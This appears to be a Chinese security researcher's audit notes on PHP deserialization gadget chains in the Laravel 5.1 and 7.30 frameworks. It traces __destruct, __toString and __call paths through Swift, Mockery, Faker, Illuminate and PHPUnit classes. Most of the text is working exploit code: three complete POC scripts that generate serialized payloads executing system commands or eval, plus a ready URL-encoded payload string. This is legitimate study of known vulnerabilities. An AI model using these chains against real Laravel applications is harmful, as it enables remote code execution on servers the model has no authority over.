前言:
没事做,java依赖向搞不定就来审计框架
环境搭建
composer create-project --prefer-dist laravel/laravel laravel5.1 "5.1.*"
#下载的版本应该是 5.4.30的。
laravel5.1分析:
RCE 1
既然是反序列化 直接找__destruct()
KeyCache\DiskKeyCache.php
跟进
public function clearAll($nsKey) //nsKey()数组
{
if (array_key_exists($nsKey, $this->_keys)) { //_keys 中查找nsKey
foreach ($this->_keys[$nsKey] as $itemKey => $null) { //遍历nsKey 的值 赋给itemKey //array["$nsKey"=>Array["$itemKey"=>"value"]]
$this->clearKey($nsKey, $itemKey);
}
if (is_dir($this->_path.'/'.$nsKey)) {
rmdir($this->_path.'/'.$nsKey);
}
unset($this->_keys[$nsKey]);
}
}
跟进 clearKey
public function clearKey($nsKey, $itemKey)
{
if ($this->hasKey($nsKey, $itemKey)) {
$this->_freeHandle($nsKey, $itemKey);
unlink($this->_path.'/'.$nsKey.'/'.$itemKey);
}
}
跟进 hashkey
public function hasKey($nsKey, $itemKey)
{
return is_file($this->_path.'/'.$nsKey.'/'.$itemKey);
}
这里的 _path 可控
而这里的$nsKey 和 $itemKey 都是我们的数组只要有值就行了。
return is_file($this->_path.'/'.$nsKey.'/'.$itemKey);
这里进行了一个 字符串拼接,因为path 可控,如果他是一个类,那么会自动触发__toString()方法
触发toString本地测试,会弹出计算器
<?php
class test{
public function __toString(){
system("calc.exe");
return "test this";
}
}
$a = new test();
echo "this class a " . $a;
现在要寻找 合适的__toString() 方法
找到 /Mockery/Generator/DefinedTargetClass.php
public function __toString()
{
return $this->getName();
}
跟进
public function getName()
{
return $this->rfc->getName();
}
这里的rfc 可控
如果这个rfc 是一个类 且该类中没有getName 方法 则会自动调用call()方法,就不本地测试了
全局搜索可能可以利用的 __call()
找到 src/Faker/Generator.php 的__call()
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
因为我们原来的链子是 $this ->rfc ->getName() 触发的 __call
所以 这里的 $method 为 getName。 $attributes 可控。
跟进format
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
看到危险函数 call_user_func_array ,跟进getFormatter
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
这个 $formatters 是可控的
现在 $formatters 可控 ,$arguments也可控 ,是不是意味着可以RCE,但是遇到了个问题,造成这个链子的失败:
这个类中有个__wakeup方法,他把 $formatters 置空了,而反序列化是必须经过wakeup()的,所以这个链子无法利用成功
继续寻找 __call方法:
在 src/Faker/ValidGenerator.php 找到:
public function __call($name, $arguments)
{
$i = 0;
do {
$res = call_user_func_array(array($this->generator, $name), $arguments);
$i++;
if ($i > $this->maxRetries) {
throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
}
} while (!call_user_func($this->validator, $res));
依旧存在危险函数,因为一开始我们的链子断掉了 所以 我们一开始的 链子还是回到一开始的
$this->rfc->getName();
所以这里的 $name = getName, $this->generator 可控,所以这里的
call_user_func_array(array($this->generator, $name), $arguments)
就是 可以把generator 看成 一个类 然后 调用他的 $name 方法,因此这里的name 不能是我们控制的值。
关于这个:
if ($i > $this->maxRetries) {
throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
应该是maxRetries 有值就可以了吧(猜的
while (!call_user_func($this->validator, $res));
这个 $this->validator 可控,而这里的 $res 是上面的那个语句得到的结果,如果我们能控制 $res 的值,那么就能够 RCE 了!
思路:$res 是 $res = call_user_func_array(array($this->generator, $name), $arguments)得到的,这里是 call_user_func_array( [ $generator, getName()], $arguments)。 所以我的思路是,把$generator 变成一个类,这样他就会调用__call方法 ,继续利用,可以使$res 成为我们想要的值。
在 src/Faker/DefaultGenerator.php 找到:
public function __call($method, $attributes)
{
return $this->default;
}
这里的default 可控,那么这条链子就通了
poc:
<?php
namespace {
use \Mockery\Generator\DefinedTargetClass;
class Swift_KeyCache_DiskKeyCache
{
private $_keys = ['snowy' => array('snowy' => 'snowy')];
private $_path;
public function __construct()
{
$this->_path = new DefinedTargetClass();
}
}
echo urlencode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
namespace Mockery\Generator {
use Faker\ValidGenerator;
class DefinedTargetClass
{
private $rfc;
public function __construct()
{
$this->rfc = new ValidGenerator();
}
}
}
namespace Faker {
class ValidGenerator
{
protected $generator;
protected $validator;
protected $maxRetries;
public function __construct()
{
$this->generator = new DefaultGenerator();
$this->validator = "system";
$this->maxRetries = 7;
}
}
class DefaultGenerator
{
protected $default;
public function __construct()
{
$this->default = "ls";
}
}
}
//O%3A27%3A%22Swift_KeyCache_DiskKeyCache%22%3A2%3A%7Bs%3A34%3A%22%00Swift_KeyCache_DiskKeyCache%00_keys%22%3Ba%3A1%3A%7Bs%3A5%3A%22snowy%22%3Ba%3A1%3A%7Bs%3A5%3A%22snowy%22%3Bs%3A5%3A%22snowy%22%3B%7D%7Ds%3A34%3A%22%00Swift_KeyCache_DiskKeyCache%00_path%22%3BO%3A36%3A%22Mockery%5CGenerator%5CDefinedTargetClass%22%3A1%3A%7Bs%3A41%3A%22%00Mockery%5CGenerator%5CDefinedTargetClass%00rfc%22%3BO%3A20%3A%22Faker%5CValidGenerator%22%3A3%3A%7Bs%3A12%3A%22%00%2A%00generator%22%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3Bs%3A2%3A%22ls%22%3B%7Ds%3A12%3A%22%00%2A%00validator%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00maxRetries%22%3Bi%3A7%3B%7D%7D%7D
RCE 2
继续原来的 toString 方法 还能挖~从这里开始~
public function hasKey($nsKey, $itemKey)
{
return is_file($this->_path.'/'.$nsKey.'/'.$itemKey);
}
继续全局找__toString()
找了有一会
Argument/Token/ObjectStateToken.php
public function __toString()
{
return sprintf('state(%s(), %s)',
$this->name,
$this->util->stringify($this->value)
);
}
此时 ,$this->util 和 $this->value 可控 一样的 util 如果是类,则调用call ,所以我们还是找call
因为有事 所以待审。。。。
Laravel7.30
RCE 1
Routing/PendingResourceRegistration.php
namespace Illuminate\Routing;
class PendingResourceRegistration{
public function __destruct()
{
if (! $this->registered) {
$this->register();
}
}}
跟进register
namespace Illuminate\Routing;
class PendingResourceRegistration{
public function register()
{
$this->registered = true;
return $this->registrar->register(
$this->name, $this->controller, $this->options
);
}
}
熟悉的 $this->registrar->register 格式,registrar 可控,找__call方法
src/Illuminate/Validation/Validator.php
namespace Illuminate\Validation;
class Validator{
public function __call($method, $parameters)
{
$rule = Str::snake(substr($method, 8));
if (isset($this->extensions[$rule])) {
return $this->callExtension($rule, $parameters);
}
throw new BadMethodCallException(sprintf(
'Method %s::%s does not exist.', static::class, $method
));
}}
$rule = Str::snake(substr($method, 8));
$method = register , $parameters = [ $this->name, $this->controller, $this->options ]
substr(register,8)截取的是空字符 ''
if (isset($this->extensions[$rule])) {
return $this->callExtension($rule, $parameters);
}
extensions 可控:
进入 callExtension($rule, $parameters)
protected function callExtension($rule, $parameters)
{
$callback = $this->extensions[$rule];
if (is_callable($callback)) {
return $callback(...array_values($parameters));
} elseif (is_string($callback)) {
return $this->callClassBasedExtension($callback, $parameters);
}
}
$this->extensions[$rule] = $this->extensions[‘’] ,['']就等于 $callback
php在用户自定义函数中支持可变数量的参数列表,包含…的参数,会转换为指定参数变量的一个数组。array_values
会返回数组中所有值组成的数组
因此这里设置 $callback = $this->extensions[''] = call_user_func
传进来的三个参数($parameters)分别设置为:call_user_func、system、命令
所以这里的 $name = call_user_func , $controller = system , $options = 我们要执行的命令
<?php
namespace Illuminate\Validation{
class Validator{
public $extensions = [];
public function __construct()
{
$this ->extensions[''] = 'call_user_func';
}
}
}
namespace Illuminate\Routing{
use Illuminate\Validation\Validator;
class PendingResourceRegistration{
protected $registrar;
protected $registered=false;
protected $name ='call_user_func';
protected $controller ='system';
protected $options ='whoami';
public function __construct()
{
$this ->registrar = new Validator();
}
}echo urlencode(serialize(new PendingResourceRegistration()));
}
RCE2
回到此处:
namespace Illuminate\Routing;
class PendingResourceRegistration{
public function __destruct()
{
if (! $this->registered) {
$this->register();
}
}}
namespace Illuminate\Routing;
class PendingResourceRegistration{
public function register()
{
$this->registered = true;
return $this->registrar->register(
$this->name, $this->controller, $this->options
);
}
}
继续找call方法 Illuminate/View/InvokableComponentVariable.php
namespace Illuminate\View;
class InvokableComponentVariable{
public function __call($method, $parameters){
return $this->__invoke()->{$method}(...$parameters);}
}
这里 的call 方法 传入的 $method 是 register ,$parameters = $this->name, $this->controller, $this->options
跟进第一个__invoke():
namespace Illuminate\View;
public function __invoke()
{
return call_user_func($this->callable);
}
protected $callable; 可控 且可以设置成一个数组,第一个元素为类名,第二个参数为类方法,便能够利用,先找到一个可利用的类
先全局搜索 eval() 函数
在 \vendor\phpunit\phpunit\src\Framework\MockObject\MockClass.php 找到
namespace PHPUnit\Framework\MockObject;
class MockClass{
public function generate(): string
{
if (!class_exists($this->mockName, false)) {
eval($this->classCode);
call_user_func(
[
$this->mockName,
'__phpunit_initConfigurableMethods',
],
...$this->configurableMethods
);
}}
$mockName 可控,設置成一個 不存在的类即可
$classCode 可控 所以可以设置我们要执行的代码
POC:
<?php
namespace PHPUnit\Framework\MockObject{
class MockClass{
private $mockName;
private $classCode;
public function __construct()
{
$this->mockName = "snowy";
$this->classCode = "system('whoami');";
}
}}
namespace Illuminate\View {
use PHPUnit\Framework\MockObject\MockClass;
class InvokableComponentVariable
{
protected $callable ;
public function __construct(){
$this ->callable =array(new MockClass(), 'generate');
}
}
}
namespace Illuminate\Routing {
use Illuminate\View\InvokableComponentVariable;
class PendingResourceRegistration{
protected $registered ;
protected $registrar ;
public function __construct(){
$this ->registered = false;
$this ->registrar = new InvokableComponentVariable();
}
}
echo urlencode(serialize(new PendingResourceRegistration()));
}